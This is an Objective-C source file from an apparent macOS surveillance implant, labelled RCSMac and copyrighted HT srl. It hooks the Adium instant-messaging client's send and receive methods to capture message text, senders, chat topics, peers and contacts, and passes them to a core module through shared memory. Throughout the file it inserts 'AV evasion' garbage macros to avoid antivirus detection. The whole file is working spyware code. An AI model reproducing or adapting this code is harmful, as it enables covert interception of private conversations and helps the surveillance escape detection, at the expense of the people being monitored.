core/Agents/RCSMAgentIMAdium.m
//
// RCSMAgentIMAdium.m
// RCSMac
//
// Created by Guido on 2/16/12.
// Copyright 2012 HT srl. All rights reserved.
//
#import <objc/runtime.h>
#import "RCSMInputManager.h"
#import "RCSMAgentIMAdium.h"
#import "RCSMAgentOrganizer.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
static BOOL gAdiumContactGrabbed = NO;
void logAdiumContacts(NSString *contact)
{
// AV evasion: only on release build
AV_GARBAGE_000
NSData *firstData = [@"Adium" dataUsingEncoding:NSUTF16LittleEndianStringEncoding];
NSData *contactData = [contact dataUsingEncoding:NSUTF16LittleEndianStringEncoding];
NSMutableData *abData = [[NSMutableData alloc] init];
u_int tag = 0x1 << 24; // firstName
tag |= ([firstData length] & 0x00FFFFFF);
[abData appendBytes:&tag length:sizeof(u_int)];
[abData appendData:firstData];
tag = 0x6 << 24; // email address
tag |= ([contactData length] & 0x00FFFFFF);
[abData appendBytes:&tag length:sizeof(u_int)];
[abData appendData:contactData];
NSMutableData *logHeader = [[NSMutableData alloc] initWithLength: sizeof(organizerAdditionalHeader)];
// AV evasion: only on release build
AV_GARBAGE_000
organizerAdditionalHeader *additionalHeader = (organizerAdditionalHeader *)[logHeader bytes];;
// AV evasion: only on release build
AV_GARBAGE_001
additionalHeader->size = sizeof(organizerAdditionalHeader) + [abData length];
additionalHeader->version = CONTACT_LOG_VERSION_NEW;
// AV evasion: only on release build
AV_GARBAGE_006
additionalHeader->identifier = 0;
additionalHeader->program = 0x07; // whatsapp contact
additionalHeader->flags = 0x80000000; // non local (local = 0x80000000)
// AV evasion: only on release build
AV_GARBAGE_002
NSMutableData *entryData = [[NSMutableData alloc] init];
[entryData appendData:logHeader];
[entryData appendData:abData];
[logHeader release];
[abData release];
NSMutableData *logData = [[NSMutableData alloc] initWithLength: sizeof(shMemoryLog)];
shMemoryLog *shMemoryHeader = (shMemoryLog *)[logData bytes];
// Log buffer
shMemoryHeader->status = SHMEM_WRITTEN;
shMemoryHeader->agentID = AGENT_CHAT_CONTACT;
// AV evasion: only on release build
AV_GARBAGE_006
shMemoryHeader->direction = D_TO_CORE;
shMemoryHeader->commandType = CM_LOG_DATA;
// AV evasion: only on release build
AV_GARBAGE_007
shMemoryHeader->flag = 0;
shMemoryHeader->commandDataSize = [entryData length];
// AV evasion: only on release build
AV_GARBAGE_006
memcpy(shMemoryHeader->commandData,
[entryData bytes],
[entryData length]);
// AV evasion: only on release build
AV_GARBAGE_002
[entryData release];
if ([mSharedMemoryLogging writeMemory: logData
offset: 0
fromComponent: COMP_AGENT] == TRUE)
{
#ifdef DEBUG_IM_SKYPE
//verboseLog(@"message: %@", loggedText);
#endif
}
else
{
#ifdef DEBUG_IM_SKYPE
errorLog(@"Error while logging skype message to shared memory");
#endif
}
[logData release];
gAdiumContactGrabbed = TRUE;
}
void adiumlogMessage(NSString *_sender, NSString *_topic, NSString *_peers, NSString *_message, uint32 flags)
{
int programType = 0x08; // adiumx
// AV evasion: only on release build
AV_GARBAGE_002
NSData *topic = [_sender dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
// AV evasion: only on release build
AV_GARBAGE_004
NSData *peers = [_peers dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
NSData *content = [_message dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
// AV evasion: only on release build
AV_GARBAGE_005
NSMutableData *logData = [[NSMutableData alloc] initWithLength: sizeof(shMemoryLog)];
NSMutableData *entryData = [[NSMutableData alloc] init];
// AV evasion: only on release build
AV_GARBAGE_006
shMemoryLog *shMemoryHeader = (shMemoryLog *)[logData bytes];
short unicodeNullTerminator = 0x0000;
// AV evasion: only on release build
AV_GARBAGE_007
time_t rawtime;
struct tm *tmTemp;
// AV evasion: only on release build
AV_GARBAGE_008
// Struct tm
time (&rawtime);
tmTemp = gmtime(&rawtime);
// AV evasion: only on release build
AV_GARBAGE_009
tmTemp->tm_year += 1900;
tmTemp->tm_mon ++;
// AV evasion: only on release build
AV_GARBAGE_000
//
// Our struct is 0x8 bytes bigger than the one declared on win32
// this is just a quick fix
//
if (sizeof(long) == 4) // 32bit
{
[entryData appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x8];
}
else if (sizeof(long) == 8) // 64bit
{
[entryData appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x14];
}
// AV evasion: only on release build
AV_GARBAGE_008
// Program type
[entryData appendBytes:&programType length:sizeof(programType)];
// flags
[entryData appendBytes:&flags length:sizeof(flags)];
// Topic
[entryData appendData: topic];
// AV evasion: only on release build
AV_GARBAGE_004
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// Topic_display
[entryData appendData: topic];
// AV evasion: only on release build
AV_GARBAGE_004
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// AV evasion: only on release build
AV_GARBAGE_002
// Peers
[entryData appendData: peers];
// AV evasion: only on release build
AV_GARBAGE_000
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// Peers_display
[entryData appendData: peers];
// AV evasion: only on release build
AV_GARBAGE_000
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// AV evasion: only on release build
AV_GARBAGE_002
[entryData appendData: content];
// AV evasion: only on release build
AV_GARBAGE_003
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// Delimiter
unsigned int del = LOG_DELIMITER;
// AV evasion: only on release build
AV_GARBAGE_005
[entryData appendBytes: &del
length: sizeof(del)];
// AV evasion: only on release build
AV_GARBAGE_006
// Log buffer
shMemoryHeader->status = SHMEM_WRITTEN;
// AV evasion: only on release build
AV_GARBAGE_001
shMemoryHeader->agentID = AGENT_CHAT_NEW;
shMemoryHeader->direction = D_TO_CORE;
// AV evasion: only on release build
AV_GARBAGE_007
shMemoryHeader->commandType = CM_LOG_DATA;
shMemoryHeader->flag = 0;
// AV evasion: only on release build
AV_GARBAGE_002
shMemoryHeader->commandDataSize = [entryData length];
// AV evasion: only on release build
AV_GARBAGE_001
memcpy(shMemoryHeader->commandData,
[entryData bytes],
[entryData length]);
// AV evasion: only on release build
AV_GARBAGE_007
if ([mSharedMemoryLogging writeMemory: logData
offset: 0
fromComponent: COMP_AGENT] == TRUE)
{
#ifdef DEBUG_IM_ADIUM
verboseLog(@"message: %@", _message);
#endif
}
else
{
#ifdef DEBUG_IM_ADIUM
errorLog(@"Error while logging skype message to shared memory");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_001
[logData release];
[entryData release];
// AV evasion: only on release build
AV_GARBAGE_008
}
void adiumHookWrapper(id arg1, NSUInteger direction)
{
// AV evasion: only on release build
AV_GARBAGE_001
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_002
if ([arg1 respondsToSelector: @selector(message)] &&
[arg1 respondsToSelector: @selector(type)] &&
[arg1 respondsToSelector: @selector(source)] &&
[arg1 respondsToSelector: @selector(chat)])
{
// AV evasion: only on release build
AV_GARBAGE_003
NSString *topic;
NSString *msgType = [arg1 performSelector: @selector(type)];
// AV evasion: only on release build
AV_GARBAGE_004
NSUInteger msgLen = [[arg1 performSelector: @selector(message)] length];
// AV evasion: only on release build
AV_GARBAGE_005
if (msgLen && [msgType isEqualToString: @"Message"] == YES)
{
NSString *msgBuf = [[arg1 performSelector: @selector(message)] string];
NSString *src = [[arg1 performSelector: @selector(source)] performSelector: @selector(displayName)];
id chat = [arg1 performSelector: @selector(chat)];
#ifdef DEBUG_IM_ADIUM
infoLog(@"%@ message of type: %@, len: %d, supportsTopic: %d, isGroupChat: %d, msg:%@",
direction==ADIUM_MSG_RECEIVE?@"Received":@"Sent",
msgType,
msgLen,
[chat performSelector: @selector(supportsTopic)],
[chat performSelector: @selector(isGroupChat)],
msgBuf);
#endif
// topic
if ([chat performSelector: @selector(supportsTopic)] != 0)
topic = [chat performSelector: @selector(topic)];
else
topic = @"-";
// peers
NSMutableString *activeMembers = [[NSMutableString alloc] init];
if ([chat performSelector: @selector(isGroupChat)] != 0)
{
// AV evasion: only on release build
AV_GARBAGE_006
for (NSString *alias in [chat performSelector: @selector(containedObjects)])
{
[activeMembers appendString: [alias performSelector: @selector(ownDisplayName)]];
// AV evasion: only on release build
AV_GARBAGE_001
[activeMembers appendString: @", "];
}
// AV evasion: only on release build
AV_GARBAGE_005
[activeMembers replaceCharactersInRange: NSMakeRange([activeMembers length] - 2, 2)
withString: @""];
// AV evasion: only on release build
AV_GARBAGE_007
}
else
{
[activeMembers appendString: src];
// AV evasion: only on release build
AV_GARBAGE_000
[activeMembers appendString: @", "];
// AV evasion: only on release build
AV_GARBAGE_008
[activeMembers appendString:
[[arg1 performSelector: @selector(destination)] performSelector: @selector(displayName)]];
}
// AV evasion: only on release build
AV_GARBAGE_003
if (gAdiumContactGrabbed == FALSE)
logAdiumContacts(src);
adiumlogMessage(src, topic, (NSString *)activeMembers, msgBuf, direction);
// AV evasion: only on release build
AV_GARBAGE_001
[activeMembers release];
}
}
// AV evasion: only on release build
AV_GARBAGE_002
[outerPool release];
}
@implementation myAIContentController
- (void)myfinishSendContentObject: (id)arg1
{
// AV evasion: only on release build
AV_GARBAGE_001
adiumHookWrapper(arg1, ADIUM_MSG_SEND);
// AV evasion: only on release build
AV_GARBAGE_002
[self myfinishSendContentObject: arg1];
// AV evasion: only on release build
AV_GARBAGE_003
}
- (void)myfinishReceiveContentObject: (id)arg1
{
// AV evasion: only on release build
AV_GARBAGE_008
adiumHookWrapper(arg1, ADIUM_MSG_RECEIVE);
// AV evasion: only on release build
AV_GARBAGE_001
[self myfinishReceiveContentObject: arg1];
// AV evasion: only on release build
AV_GARBAGE_005
}
@end